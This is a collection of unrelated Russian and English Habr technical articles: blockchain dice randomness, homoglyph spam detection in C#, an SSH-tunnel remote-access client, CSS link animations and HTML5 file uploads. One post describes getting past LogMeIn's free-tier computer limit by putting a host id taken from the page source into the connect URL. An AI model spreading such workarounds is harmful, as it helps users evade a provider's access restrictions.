withdraw («FwsuaaShC6DMWdSWQ5osGWtYkVbTEZrsnxqDbVx5oUpq», «base64:Gy69dKdmXUEsAmUrpoWxDLTQOGj5/qO8COA+QjyPVYTAjxXYvEESJbSiCSBRRCOAliqCWwaS161nWqoTL/TltiIvw3nKyd4RJIBNSIgEWGM1tEtNwwnRwSVHs7ToNfZ2Dvk/GgPUqLFDSjnRQpTHdHUPj9mQ8erWw0r6cJXrzfcagKg3yY/0wJ6AyIrflR35mUCK4cO7KumdvC9Mx0hr/ojlHhN732nuG8ps4CUlRw3CkNjNIajBUlyKQwpBKmmiy3yJa/QM5PLxqdppmfFS9y0sxgSlfLOgZ51xRDYuS8NViOA7c1JssH48ZtDbBT5yqzRJXs3RnmZcMDr/q0x6Bg==»)
7. The server sends an Invocation transaction to the smart contract (broadcast InvocationTx). The transaction contains a call to the generated withdraw function (gameId, rsaSign):
The function contains **game id** and an RSA signature of a unique id. The signature result is unchangeable.
*What does this mean?*
We take the same value (game id) and apply the RSA signature method to it. This is how the RSA algorithm works. It’s impossible to manipulate the final number because **game id** and the result of the RSA algorithm are unknown. It’s also pointless to try to guess a number.
8. The blockchain receives a transaction that runs the withdraw function (gameId, rsaSign).
9. There is a call for the GenerateRandIn function inside the withdraw function (gameId, rsaSign). This is a random number generator.
```
# @return 1 ... 100
func GenerateRandInt (gameId,rsaSign) = {
# verify RSA signature to proof random
let rsaSigValid = rsaVerify (SHA256, toBytes(gameId), rsaSign, RSAPUBLIC)
if (rsaSigValid)
then {
let rand = (toInt(sha256(rsaSign)) % 100)
if ((0 > rand))
then ((-1 * rand) + 1)
else (rand + 1)
}
else throw ("Invalid RSA signature")
}
```
**rand** is a random number
Firstly, the string that is a result of the RSA signature is taken. Then, it is hashed via SHA-256 (**sha256(rsaSign)**).
We can’t predict the signature result and subsequent hashing. Thus, it is impossible to affect its generation. To get a number in a specific range (e.g. from 1 to 100), the conversion functions toInt and % 100 ([mod](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D1%81_%D0%BE%D1%81%D1%82%D0%B0%D1%82%D0%BA%D0%BE%D0%BC) analogue) are applied.
At the beginning of the article, we mentioned the **rsaVerify()** function that allows checking of the validity of an RSA signature by a private key against a public one. Here is a part of GenerateRandInt (gameId, rsaSign):
rsaVerify (SHA256, toBytes(gameId), rsaSign, RSAPUBLIC)
To start with, RSAPUBLIC public key and rsaSign string are taken. The signature is checked for validity. If the check is successful, the number is generated. Otherwise, the system considers that the signature is not valid (Invalid RSA signature).
The server has to sign the game id using a private key and send a valid RSA signature within 2,880 blocks. The option is managed while the smart contract is deploying. If nothing happens in the stated time, the user wins. In this case, the reward has to be sent by the user independently. It turns out that cheating is unprofitable for the server because this leads to a loss. There is an example below.
The user plays [Dice Roller](https://www.dappocean.io/dapp/DICES). He chooses 2 of 6 cube faces, with a bet of 14 WAVES. If the server does not send a valid RSA signature to the smart contract within a set time (2,880 blocks), the user will receive 34.44 WAVES.
For number generation, we use an oracle, an external system rather than the blockchain. The server implements an RSA signature for the game id. The smart contract checks signature validity and determines the winner. If the server sends nothing, then the user would win automatically.
This method ensures that manipulation is technically impossible. All Tradisys games are based on the algorithm described above – ensuring our games are fair and transparent. Everything can be publicly audited to ensure honesty. | https://habr.com/ru/post/464395/ | null | en | null |
# Определяем «неправильные» слова при борьбе со спамом
При борьбе со спамом на форуме возникла идея автоматически отлавливать слова, внешне похожие на «нормальные», но фактически отличающиеся от шаблонных, имеющихся в базе стоп-слов. Делается это путём замены кириллических символом на латиницу и наоборот. Например, «Пpoдaeм бeтoн» и «Продаем бетон» только внешне выглядят одинаково, а на самом деле они отличаются друг от друга.
Вот я и написал небольшую функцию для уменьшения энтропии Вселенной, которая определяет (если сможет) язык, на котором написано слово, и заменяет его на нормальное. Затем проверяем это слово по списку стоп-слов и принимаем решение, запрещённое оно или нет :)
(Красным цветом помечается кириллица, синим- латиница или цифры)
В подробности кода на C# вдаваться не буду, думаю, что всё будет понятно.
Конструктивным предложениям и замечаниям буду рад :)
``> public string CheckWord(string word, out string lang, out bool Changes)
>
> {
>
> lang = "?";
>
> string newword = word;
>
> string OnlyRu = "БбвГгДдЁёЖжЗзИиЙйЛлмнПптУФфЦцЧчШшЩщЪъЫыЬьЭэЮюЯя";
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вызов происходит просто:
``> string lang;
>
> bool changes;
>
> string re = "[\\w\\@]+";
>
> Regex rx = new Regex(re, RegexOptions.IgnoreCase | RegexOptions.Singleline);
>
> Match m = rx.Match("Пpoдaeм бeтoн");
>
> while (m.Success)
>
> {
>
> string newWord = CheckWord(m.ToString(), out lang, out changes);
>
> m = m.NextMatch();
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.``` | https://habr.com/ru/post/86303/ | null | ru | null |
# Logmein. Как выйти из замкнутого круга
Добрый день. Я в каком то роде системный администратор. И мне очень-очень нравился logmein. Мне полностью хватало free версии, и будущее казалось достаточно оптимистичным. Я знал, что если понадобится смогу подключиться из любого фактически места к бедному пользователю и помочь.
С недавних пор после входа в систему можно было наблюдать предупреждение, говорящее о то, что политика компании изменилась, собираем деньги даже при пользовании free (150 евро с учетки в период «акции»), а иначе ограничим вас 10-ю компьютерами.
Я помнил о том, что надо бы разделить большие учетки на кучку маленьких и пытаться как то уживаться с тем что получится, но как обычно отодвигал сей момент как мог. И вот, момент настал, из 18 компьютеров «белыми» остались 10, все что ниже (по алфавиту) — окрасились серым, ссылки «стали ненажимабельны».
Естественно мне представились диалоги с пользователями, прописывание с ними под диктовку новых учетных данных… стало весьма не по себе. И, что хуже, именно сегодня мне понадобился компьютер, который оказался несколько ниже 10-ой, белой строчки, т.е. оказался за пределами дозволенного.
На данный момент есть «уязвимость» которая спасла меня (отчего я и решил написать первый пост на хабре).
Ссылка для подключения выглядит так
> `secure.logmein.com/mycomputers_connect.asp?hostid=xxxxxxxxxxxxx&hostpath=/go=r`
Здесь xxxxxxxxxxxxx — id хоста. Этот id можно подсмотреть в коде странички, подставить в ссылку и подключиться к требуемому компьютеру. По крайней мере теперь можно раскидать компьютеры по учеткам клонам (видимо на это намекало информационное сообщение, в котором звучала фраза «не предпримите каких либо действий»).
Дальше в картинках, все должно быть понятно
Уныло серые строчки…
Красным закрашены те самые id.
Извиняюсь заранее за возможные опечатки и скомканность изложения. | https://habr.com/ru/post/176425/ | null | ru | null |
# VPN на минималках ч.3
Привет, Хабр!
Несмотря на то, что с момента публикации второй части прошло почти полгода — прокрастинация все-таки выиграла битву, но не войну, и поэтому повествование о нелегких буднях в НИИ Велосипедостроения продолжается. В предыдущих частях ([часть 1](https://habr.com/ru/company/otus/blog/659031/), [часть 2](https://habr.com/ru/company/otus/blog/663482/)) рассказывалось об общей концепции и предпосылках, MVP для сервера, отвечающего за запуск преднастроенного контейнера с openssh и отслеживание состояния клиента, подключенного через websocket. В третьей части статьи поговорим о рисках в части безопасности и реализации клиентского приложения.
### Безопасность
Перефразируя известного персонажа, чью роль исполнил Саша Барон Коэн, можно с уверенностью утверждать, что безопасность данного решения это боль в моя…в общем, если смотрели фильм, то понимаете о чем я.
Перечислим риски, возможные последствия их реализации, и очертим круг задач, которые могут быть решены с помощью этого приложения:
#### 1. Недостаточная аутентификация
Ввиду того, что постановка задачи предполагала максимальное упрощение доступа для конечного пользователя (который, как известно, славится своей способностью влипать в трудности на ровном месте), в реализации решено было использовать короткую ссылку, содержащую UID, указывающий на конечный ресурс для подключения. Таким образом, ссылка является единственным необходимым ключом для получения доступа.
**Риски:**
* Компрометация
По сути, возможность передать ссылку третьим лицам, либо выложить в открытый доступ - это фатальный недостаток, который может привести к получению доступа до внутренних ресурсов, скрытых за ssh-туннелями, третьими лицами.
Возможное решение: усилить аутентификацию с помощью дополнительного атрибута (например пин-кода, по аналогии с закрытыми конференциями в Zoom).
* Подбор
Исходя из того, что ссылка для доступа пользователя на ресурс генерируется единожды, и не меняется в течение всего времени использования (пока пользователь не совсем не перестанет работать с конечным ресурсом), попытки перебора все-таки возможны.
Возможное решение: усиление аутентификации, мониторинг обращений к несуществующим ресурсам, и своевременное принятие ответных мер.
#### 2. Доступ во внутреннюю сеть
Если с первой уязвимостью все более-менее стандартно, то что будет в случае, когда злоумышленником является легальный пользователь? Заходя на сервер по RDP, клиент получает доступ не только к прикладному ПО, а еще и к операционной системе и сегменту локальной сети, в котором этот сервер находится. "Букет" рисков, вектора развития атак, и возможные последствия в таком случае могут быть самыми разнообразными, и есть проверенный свести эти самые риски к минимуму - разработка и реализация полноценной политики ИБ на вверенном участке (настройка фильтрации сетевого трафика на маршрутизаторах, настройка брандмауэров, ограничение привилегий на сервере, к которому подключается пользователь, антивирусная защита и т.д.).
Однако, стоит сказать, что в случае использования классических решений эта головная боль никуда не денется, а посему поставить этот класс уязвимостей в вину описываемому решению на 100% нельзя.
#### 3. Некорректные настройки и безопасность openSSH-сервера
В sshd\_config прописывается ограничение на количество сессий, конечную точку туннеля, на лету генерируется пользователь и пароль. Выявленные уязвимости в openSSH, docker и любом другом ПО, обслуживающем эту связку, можно отнести к вопросам, изложенным в п.2.
#### Резюме
Фактически, при детерминировании рисков, проявился явный недостаток, заложенный в систему, что называется by design. Справиться с ним не составляет особого труда, как в принципе и не составляет труда навесить на веб-сервер дополнительную аутентификацию, либо использовать SSO для внешней аутентификации пользователя, переходящего по ссылке.
### Где, когда и зачем использовать это решение?
Условия и задачи, под которые проектировалось решение, можно уложить в одном предложении — дать пользователю доступ на его сервер по RDP (один пользователь — одна ВМ).
В моем случае расклад следующий:
* Есть несколько пользователей, которые не являются сотрудниками компании, и в корпоративный VPN они доступа не получают;
* На ресурсах компании размещены демонстрационные виртуальные машины с набором преднастроенного ПО;
* Пользователям нужно дать доступ к ПО, при этом не выставляя ничего вовне;
* Сами виртуальные машины и данные на них не представляют никакой ценности, в случае потери\гибели\повреждения\приведения в нерабочее состояние любой из машин, она заново раскатывается из сэмпла менее чем за 5 минут;
* Все эти машины, не являющиеся частью основной сети компании, выделены в изолированный контур, и никак не пересекаются с физической сетью компании.
Является ли это заменой VPN? Частично, в случае с VPN вы получаете доступ к сети, здесь — конкретный порт на конкретной машине.
Использование as is возможно, если конечному пользователю нужен один конкретный порт на конкретном хосте.
### Клиент
Обычно ролики про приготовление "быстрых блюд из того что есть под рукой за 5 минут" начинаются с долгого перечисления того, что же нам всё-таки понадобится. Суровые викинги из Regular Ordinary Swedish Meal Time делают то же самое с завидной порцией ярости, что, увы, мне недоступно. А было бы весело! Нам понадобится клиент для вебсокетов! Шмяк! Библиотека для работы по SSH! Бабах! И тема с пассивной агрессией закроется сама собой.
Но, что-то я отвлекся. Для реализации клиента нужно всего ничего:
* Получить данные для подключения через вебсокет;
* Подключиться и пробросить порт через ssh;
* Запустить удаленное подключение по проброшенному порту.
Для работы с вебсокетами в .NET имеется встроенный класс клиента, его-то и задействуем.
```
public class WebSocketWrapper
{
public static async Task GetConnectionDetails(ClientWebSocket client, string uri)
{
Uri serverUri = new Uri(uri);
var cancellationToken = new CancellationTokenSource();
cancellationToken.CancelAfter(30000);
await client.ConnectAsync(serverUri, cancellationToken.Token);
if(client.State != WebSocketState.Open)
{
throw new Exception("Websocket connection error");
}
WebSocketReceiveResult result;
using (var ms = new MemoryStream())
{
do
{
var messageBuffer = WebSocket.CreateClientBuffer(1024, 16);
result = await client.ReceiveAsync(messageBuffer, CancellationToken.None);
ms.Write(messageBuffer.Array, messageBuffer.Offset, result.Count);
}
while (!result.EndOfMessage);
var response = Encoding.UTF8.GetString(ms.ToArray());
var deserializedResult = JsonSerializer.Deserialize(response);
return deserializedResult;
}
}
public static async Task HandleEvents(ClientWebSocket client)
{
WebSocketReceiveResult result;
do
{
var messageBuffer = WebSocket.CreateClientBuffer(1024, 16);
result = await client.ReceiveAsync(messageBuffer, CancellationToken.None);
}
while (true);
}
}
```
Основным индикатором жизни клиента является установленное и работоспособное соединение с вебсокет-сервером, поэтому объект, реализующий низкоуровневые методы (чтение, запись, ping-pong), передается в качестве параметра, поскольку разрыв соединения приведет к остановке и удалению контейнера с openssh.
Метод HandleEvents нужен для "закадрового" обмена ping-pong`ами, сигнализирующими серверу о том, что клиент еще жив.
Для работы с SSH используем Renci.SshNet.
```
public class SshTunnel
{
private static SshClient client;
private static ForwardedPortLocal forwardedPort;
public static int Create(string sshHost, ConnectionDetails details)
{
client = new SshClient(new ConnectionInfo(sshHost, details.ExternalPort, details.SshUsername, new AuthenticationMethod[1]
{
new PasswordAuthenticationMethod(details.SshUsername, details.SshPassword)
}));
client.Connect();
int freePort = Util.GetFreePort(new Random().Next(12000, 13000));
forwardedPort = new ForwardedPortLocal("localhost", Convert.ToUInt32(freePort), details.InternalHost, 3389U);
client.AddForwardedPort(forwardedPort);
forwardedPort.Start();
return freePort;
}
}
```
Считаем, что хост, полученный из ссылки, и есть хост SSH-сервера, на котором запускаются контейнеры. Для подключения необходимы также порт, логин, пароль, и внутренний адрес, куда нужно в итоге попасть. Эти данные десериализуются в ConnectionDetails из обертки для работы с вебсокет-сервером. Кроме того, для проброса порта нужно получить свободный порт в ОС пользователя, после чего, в случае успешного подключения, метод возвращает выбранный для туннелирования номер локального порта.
Теперь, когда первые два пункта выполнены, можно собрать все воедино, и протестировать.
```
public class VClient
{
public static void Connect(string shortLink)
{
var logger = Util.GetLogger();
logger.Info("Connecting to {0}", shortLink);
// Получаем адрес для подключения к вебсокет-серверу
Uri uri = new Uri(shortLink);
var host = uri.Host;
var key = uri.PathAndQuery.Remove(0, 1);
var wsScheme = uri.Scheme == "https" ? "wss" : "ws";
var wsUri = String.Format("{0}://{1}/cjrpc/{2}", wsScheme, host, key);
var wsClient = new ClientWebSocket();
logger.Info("Requesting ssh params from websocket cinnection");
// Обращаемся к серверу за параметрами для ssh-туннеля
var details = WebSocketWrapper.GetConnectionDetails(wsClient, wsUri).Result;
logger.Info("Params received, waiting for container startup");
// Контейнер стартует некоторое время, нужна небольшая задержка перед подключением
Thread.Sleep(5000);
var forwardedPort = SshTunnel.Create(host, details);
logger.Info("SSH tunnel estabilished, forwarded port {0}", forwardedPort);
// Вебсокет-серверу нужно получать пакеты, подтверждающие, что клиент жив
// Так как приложение однопоточное, и глаынй поток будет заблокирован ожиданием закрытия процесса mstsc - нужно поддерживать соединение
Task.Run(() => { WebSocketWrapper.HandleEvents(wsClient); });
logger.Info("Starting remote desktop connection");
var rdcProcess = new Process();
// Стартуем удаленное подключение сразу на проброшенный порт
rdcProcess.StartInfo = new ProcessStartInfo("mstsc.exe", string.Format("/v:localhost:{0}", forwardedPort)); ;
rdcProcess.Start();
// Ожидаем закрытия процесса
rdcProcess.WaitForExit();
// Закрываем вебсокет, сервер остановит и удалит контейнер с openssh
wsClient.Abort();
logger.Info("Session closed");
}
}
```
Это и есть минимально жизнеспособный пример, способный получить по ссылке данные для подключения, и поддерживать соединение с сервером в одном потоке, отслеживая работу процесса подключения к удаленному рабочему столу, и завершая соединение (вызывающее остановку контейнера на сервере) при закрытии процесса.
[GitHub проекта](https://github.com/dmitry8912/MiniVClient)
На конец порекомендую открытый урок «Что полезного в новых версиях C#?», который скоро пройдет в OTUS. На нем участники разберут ключевые нововведения релиза .NET 6.0 с C# 10 и познакомятся с полезными и часто используемыми новшествами последних версий языка C#. Участие бесплатное, регистрация доступна для всех желающих [по ссылке.](https://otus.pw/YO1R/) А начинающие разработчики могут при желании ознакомиться с [программой специализации "C# Developer"](https://otus.pw/Oelu/), которая помогает с нуля освоить принципы программирования и развиваться в С#-разработке. | https://habr.com/ru/post/693750/ | null | ru | null |
# Чистый CSS: 4 метода анимирования цвета ссылок
Автор статьи, перевод которой мы сегодня публикуем, предлагает, пользуясь чистым CSS, создать механизм изменения цвета текста ссылки при наведении на неё мыши. Но это должна быть не обычная смена цвета. Новый цвет должен заполнять ссылку слева направо, заменяя старый.
[](https://habr.com/ru/company/ruvds/blog/491702/)
Для того чтобы это сделать, можно прибегнуть к одному из четырёх методов, описанных в этом материале. Рассмотрим эти методы, обращая особое внимание на разные важные вещи вроде доступности контента, производительности решения и браузерной поддержки.
Метод №1: использование background-clip: text
---------------------------------------------
Во время написания этого материала свойство [background-clip: text](https://caniuse.com/#feat=mdn-css_properties_background-clip_text) носит статус экспериментального. Оно не поддерживается в Internet Explorer 11 и ниже.Этот метод предусматривает создание так называемого «[knockout text](https://css-tricks.com/how-to-do-knockout-text/)» (текста, который выглядит так, будто он вырезан в некоей поверхности и из него просвечивает фон) с [резким градиентом](https://css-tricks.com/snippets/css/css-linear-gradient/#article-header-id-4). HTML-разметка состоит из единственного элемента , описывающего гиперссылку.
```
[Link Hover](#)
```
Начнём с создания стилей для ссылки. Использование `overflow: hidden` приведёт к тому, что при изменении внешнего вида ссылки отсекается всё то, что выходит за пределы этого элемента.
```
a {
position: relative;
display: inline-block;
font-size: 2em;
font-weight: 800;
color: royalblue;
overflow: hidden;
}
```
Нам понадобится использовать резкий линейный градиент с указанием значения в 50% для начального и конечного цветов ссылки.
```
a {
/* То же, что и раньше */
background: linear-gradient(to right, midnightblue, midnightblue 50%, royalblue 50%);
}
```
Воспользуемся свойством `background-clip` для обрезки градиента. Дадим ему значение `text` для вывода текста. Мы ещё будем использовать свойства `background-size` и `background-position`. Делается это для вывода начального цвета.
```
a {
/* То же, что и раньше */
background-clip: text;
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-size: 200% 100%;
background-position: 100%;
}
```
И наконец — добавим к стилю CSS-свойство `transition` и стилизуем псевдокласс гиперссылки `:hover`. Для того чтобы при наведении на ссылку мыши новый цвет заполнял бы ссылку слева направо, воспользуемся свойством `background-position`.
```
a {
/* То же, что и раньше */
transition: background-position 275ms ease;
}
a:hover {
background-position: 0 100%;
}
```
[Вот](https://codepen.io/kathykato/pen/gObBybX) — пример на CodePen.Хотя эта методика и позволяет достичь желаемого эффекта, Safari и Chrome подвергнут [обрезке](https://webkit.org/blog/164/background-clip-text/) элементы оформления текста и тени. Это значит, что они показаны не будут. Применение текстовых стилей, таких, как подчёркивание текста с помощью CSS-свойства `text-decoration`, работать не будет. Поэтому, если нужно, чтобы ссылки были бы подчёркнутыми, стоит рассмотреть другие способы настройки [подчёркивания](https://css-tricks.com/styling-underlines-web/).
Метод №2: применение width/height
---------------------------------
Этот метод основан на использовании [атрибута data-\*](https://habr.com/ru/company/ruvds/blog/490626/), содержащего тот же текст, что и тег . Здесь используется управление свойством `width` (для заполнения ссылки цветом слева направо или справа налево) или свойством `height` (для применения эффекта сверху вниз или снизу вверх). Например, в нашем случае применяется воздействие на свойство `width`, которое, при наведении мыши на ссылку, меняется с 0 до 100%.Вот разметка:
```
[Link Hover](#)
```
CSS-код похож на тот, что использован в предыдущем примере, за исключением настроек свойства фона. Здесь, кроме того, будет нормально работать свойство `text-decoration`:
```
a {
position: relative;
display: inline-block;
font-size: 2em;
color: royalblue;
font-weight: 800;
text-decoration: underline;
overflow: hidden;
}
```
Именно тут нам и понадобится использовать текст из атрибута `data-content`. Этот текст будет расположен поверх содержимого тега . Мы можем воспользоваться здесь интересным маленьким приёмом, который заключается в копировании текста из атрибута и в выводе его с помощью функции `attr()` в свойство `content` псевдоэлемента ссылки `::before`.
```
a::before {
position: absolute;
content: attr(data-content); /* Выводит значение атрибута */
top: 0;
left: 0;
color: midnightblue;
text-decoration: underline;
overflow: hidden;
transition: width 275ms ease;
}
```
Для того чтобы текст не перешёл бы на новую строку, к псевдоэлементу будет применён стиль `white-space: nowrap`. Для изменения цвета ссылки зададим значение CSS-свойства `color` псевдоэлемента `::before` и сделаем так, чтобы в начале значение свойства `width` равнялось бы 0:
```
a::before {
/* То же, что и раньше */
width: 0;
white-space: nowrap;
}
```
Увеличим значение `width` псевдоэлемента `::before` до 100% для применения эффекта при наведении на ссылку мыши:
```
a:hover::before {
width: 100%;
}
```
[Вот](https://codepen.io/kathykato/pen/XWJxoEd) пример применения этого метода.Хотя мы, воздействуя на свойства элемента `width` и `height`, достигаем того, что нам нужно, этот метод отличается невысокой [производительностью](https://csstriggers.com/width). Для того чтобы получить плавную смену цветов на 60 кадрах в секунду — лучше пользоваться свойствами `transform` или `opacity`.Применение свойства `text-decoration` позволяет использовать в анимированных ссылках различные стили подчёркивания текста. [Вот](https://codepen.io/kathykato/pen/zYYRGRQ) пример, демонстрирующий это, созданный с помощью третьей методики, которую мы сейчас рассмотрим. Она основана на применении CSS-свойства [clip-path](https://css-tricks.com/almanac/properties/c/clip-path/).
Метод №3: применение clip-path
------------------------------
Здесь мы будем пользоваться CSS-свойством `clip-path` и многоугольником, в данном случае — прямоугольником. Прямоугольник имеет четыре угла, длина двух из его сторон увеличивается при наведении мыши на ссылку. Фигура расширяется, одна из её сторон двигается слева направо.
Тут используется та же разметка, что и в предыдущем примере:
```
[Link Hover](#)
```
Мы, снова, будем пользоваться псевдоэлементом `::before`. Но CSS-код здесь другой:
```
a::before {
position: absolute;
content: attr(data-content);
color: midnightblue;
text-decoration: underline;
clip-path: polygon(0 0, 0 0, 0 100%, 0 100%);
transition: clip-path 275ms ease;
}
```
В отличие от предыдущего метода, здесь свойство `text-decoration: underline` должно быть задано для псевдоэлемента `::before`. Это нужно для того, чтобы изменение цвета коснулось бы не только текста ссылки, но и линии, подчёркивающей ссылку.Теперь присмотримся к CSS-коду свойства `clip-path`:
```
clip-path: polygon(0 0, 0 0, 0 100%, 0 100%);
```
Позиции вершин многоугольника в свойстве `clip-path` заданы в процентах, они определяют координаты в порядке, соответствующем их размещению на многоугольнике:
* `0 0` = верхний левый угол
* `0 0` = верхний правый угол
* `0 100%` = нижний правый угол
* `0 100%` = нижний левый угол
Направление применения эффекта заполнения можно изменить, модифицировав координаты. Теперь, когда мы знаем о координатах, мы можем сделать так, чтобы фигура росла бы, двигаясь слева направо при наведении на ссылку мыши:
```
a:hover::before {
clip-path: polygon(0 0, 100% 0, 100% 100%, 0 100%);
}
```
[Вот](https://codepen.io/kathykato/pen/VwYgRQg) рабочий вариант этого примера.Эта методика анимирования цвета ссылок работает очень хорошо, но перед её применением стоит учесть [поддержку](https://caniuse.com/#feat=css-clip-path) свойства `clip-path` различными браузерами. Создание CSS-переходов с использованием `clip-path` — это лучше, чем использование методики height/width. Однако её применение приводит к тому, что браузер выполняет весьма ресурсозатратные операции [Paint](https://csstriggers.com/clip) (рисование).
Метод №4: использование transform
---------------------------------
В разметке, которая здесь применяется, используется методика маскировки с помощью элемента . Так как мы будем использовать в элементе содержимое, дублирующее содержимое ссылки, то мы, ради улучшения [доступности](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute) контента, воспользуемся атрибутом `aria-hidden="true"`. Это скроет повторяющийся текст от средств для чтения с экрана.
Такой текст не будет озвучен дважды:
```
[Link Hover](#)
```
CSS-код для элемента содержит описание перехода, который начинается слева:
```
span {
position: absolute;
top: 0;
left: 0;
overflow: hidden;
transform: translateX(-100%);
transition: transform 275ms ease;
}
```
Теперь нужно организовать перемещение элемента вправо, выглядящее так, как показано ниже.
Для того чтобы это сделать, воспользуемся псевдоэлементом `::before` элемента . И, как прежде, прибегнем к использованию атрибута `data-content`. Зададим изменение позиции элемента, применяя трансформацию `transform: translateX(100%)`, перемещая его по оси `X`.
```
span::before {
display: inline-block;
content: attr(data-content);
color: midnightblue;
transform: translateX(100%);
transition: transform 275ms ease;
text-decoration: underline;
}
```
Так же, как и у элемента , позиция псевдоэлемента `::before` будет установлена с помощью конструкции `transform: translateX(0)`:
```
a:hover span::before {
transform: translateX(0);
}
```
[Вот](https://codepen.io/kathykato/pen/JjoebyL) этот пример на CodePen.Хотя этот метод отличается наилучшей кросс-браузерной поддержкой из рассмотренных, для его реализации нужно больше HTML и CSS-кода. Тем не менее, применение CSS-свойства `transform` [не вредит производительности](https://csstriggers.com/transform), его использование не вызывает перерисовывания элементов, и, в результате, ведёт к формированию плавных CSS-переходов на 60 кадрах в секунду.
Итоги
-----
Только что мы рассмотрели четыре разных метода, позволяющих достичь одного и того же эффекта средствами CSS. Хотя у каждого из них есть свои плюсы и минусы, можно заметить, что нет ничего невозможного в том, чтобы организовать анимацию цвета текста ссылок при наведении на них мыши. Это — небольшой приятный эффект, применение которого приводит к тому, что ссылки воспринимаются более интерактивными.
**Уважаемые читатели!** Анимируете ли вы ссылки в своих проектах?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/491702/ | null | ru | null |
# Загрузка файлов через FileReader
##### Зачем я сделал ещё один велосипед?
Работая на одним из текущих проектов опять столкнулся с необходимостью реализации удобной и быстрой загрузки файлов. Привычным жестом расчехлил [plupload](http://www.plupload.com/), но потом задумался.
Про FileAPI я слышал очень давно, на тот момент была проблема с поддержкой в браузерах, в результате чего в любом случае пришлось бы предусматривать альтернативный загрузчик и игра в целом не стоила свеч. Но поскольку в настоящий момент речь шла о загрузчике для бэк-енда сайта, то можно было сузить количество поддерживаемых браузеров и я решил изучить вопрос поглубже.
На Хабре нашлись две познавательные статьи: [Особенности загрузки файлов на HTML5](http://habrahabr.ru/post/154097/) и [Загрузка файлов с помощью html5 File API, с преферансом и танцовщицами](http://habrahabr.ru/company/mailru/blog/113508/). Вторая статья относительно старая да и код, приведённый там, по словам самого же автора «привязан к проекту и его особенностям», а следовательно требует длительного допиливания. Первая статья, без какой-либо конкретной демо с готовым кодом, но дала мне много пищи для размышлений и примерное направление, в которое копать.
Мною был выбран метод загрузки через FileReader. На текущий момент его поддерживают все новые версии популярных браузеров ([подробнее](http://caniuse.com/fileapi)). Включая даже Internet Explorer 10, в составе Windows 8, которая, к слову, уже не за горами (26 октября начало розничной продажи).
##### Где же демо?
Демо можно посмотреть [здесь](http://www.boostnteach.com/fru/), либо [скачать архив](http://www.boostnteach.com/fru/fru.rar).
##### Что умеет демо?
Демо умеет загружать одновременно до 10 файлов, не более 5 МБ каждый и не более 50 МБ всего. Причем это ограничение сбрасывается после загрузки каждой партии файлов. Показывает прогресс-бар по мере загрузки. Включает и отключает кнопки по мере того, есть или нет в списке файлы, над которыми можно произвести действия (загрузить/удалить).
Демо имеет по минимому «проекто-спефичного» кода и его можно достаточно легко и быстро внедрить в любой проект.
##### И как это работает?
Принцип работы, в принципе, секрета Полишинеля не составляет.
1) Для драг-н-дропа, который, к слову, работает на всех новых версиях [десктопных браузеров](http://caniuse.com/#search=drag), мы вешаем на события примерно следующее:
```
$('.dropbox')
.on('drop', function(event) {
if (event.originalEvent.dataTransfer.files.length) {
// Если были заброшены файлы передадим массив функции addFiles.
event.preventDefault();
event.stopPropagation();
addFiles(event.originalEvent.dataTransfer.files);
$(this).css('border-color', 'gray');
$(this).css('color', 'gray');
}
})
.on('dragenter', function(event) {
// Просто подсвечиваем дропбокс при наведении.
$(this).css('border-color', 'green');
$(this).css('color', 'green');
})
.on('dragleave', function(event) {
// Убираем подсветку.
$(this).css('border-color', 'gray');
$(this).css('color', 'gray');
});
```
2) Оставим возможность добавлять файл через стандартный input[type=file] добавив к нему также аттрибут multiple, который позволит нам выбирать сразу несколько файлов. О его [поддержке браузерами](http://caniuse.com/#search=multiple) можно даже не задумываться (напоминаю, речь идёт о бэк-енде, который вряд ли будет использоваться в старом браузере).
```
```
```
$('input[type=file]').on('change', function(event) {
addFiles(this.files);
});
```
3) Собственно сама функция addFiles, которая упоминалась в листингах выше. Здесь я её приведу частично, опустив не критичные вещи, полностью можно посмотреть в скрипте из архива (/js/FRUploader.js). Эта функция не последняя инстанция, она всего лишь добавляет файлы в список выбранных, попутно проверяя файлы на различные ограничения (в моём демо предусмотрена конфигурация максимального размера файла, ограничения общего объема файлов и их количества):
```
function addFiles(files) {
$.each(files, function(i, v) {
// Проверим на различные превышения лимитов.
if (v.size > maxfs) {
maxfsFiles.push(v.name);
} else if (flist.length >= maxfc) {
$('div#maxfcerr').show('fast');
return false;
} else if (maxts - curts < v.size) {
$('div#maxtserr').show('fast');
return false;
} else {
// Считаем файл.
var fr = new FileReader();
fr.file = v;
fr.readAsDataURL(v);
// Создаем строку для таблицы и заполняем её данными.
var row = document.createElement('tr');
/*
* Здесь опущен фрагмент по созданию элементов и текстовых узлов, для строки таблицы со списком выбранных файлов.
*/
$('table tbody').append(row);
// Добавляем наш файл в массив.
flist.push({file: v, trnum: 'id' + index});
}
});
}
```
4) Функция, которая непосредственно и загружает файлы на сервер. Вызывается по клику на кнопку Загрузить.
```
function uploadFile(file, trnum) {
if (file) {
var xhr = new XMLHttpRequest();
upload = xhr.upload;
// Создаем прослушиватель события progress, который будет "двигать" прогресс-бар.
upload.addEventListener('progress', function(event) {
if (event.lengthComputable) {
var pbar = $('tr.' + trnum + ' td.size div.pbar');
pbar.css('width', Math.round((event.loaded / event.total) * 100) + 'px');
}
}, false);
// Создаем прослушиватель события load, который по окончанию загрузки подсветит прогресс-бар зеленым.
upload.addEventListener('load', function(event) {
var pbar = $('tr.' + trnum + ' td.size div.pbar');
pbar.css('width', '100px');
pbar.css('background', 'green');
}, false);
// Создаем прослушиватель события error, который при ошибке подсветит прогресс-бар красным.
upload.addEventListener('error', function(event) {
var pbar = $('tr.' + trnum + ' td.size div.pbar');
pbar.css('width', '100px');
pbar.css('background', 'red');
}, false);
// Откроем соединение.
xhr.open('POST', 'handler.php');
// Устанавливаем заголовки.
xhr.setRequestHeader('Cache-Control', 'no-cache');
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", file.name);
// Отправляем файл.
xhr.send(file);
}
}
```
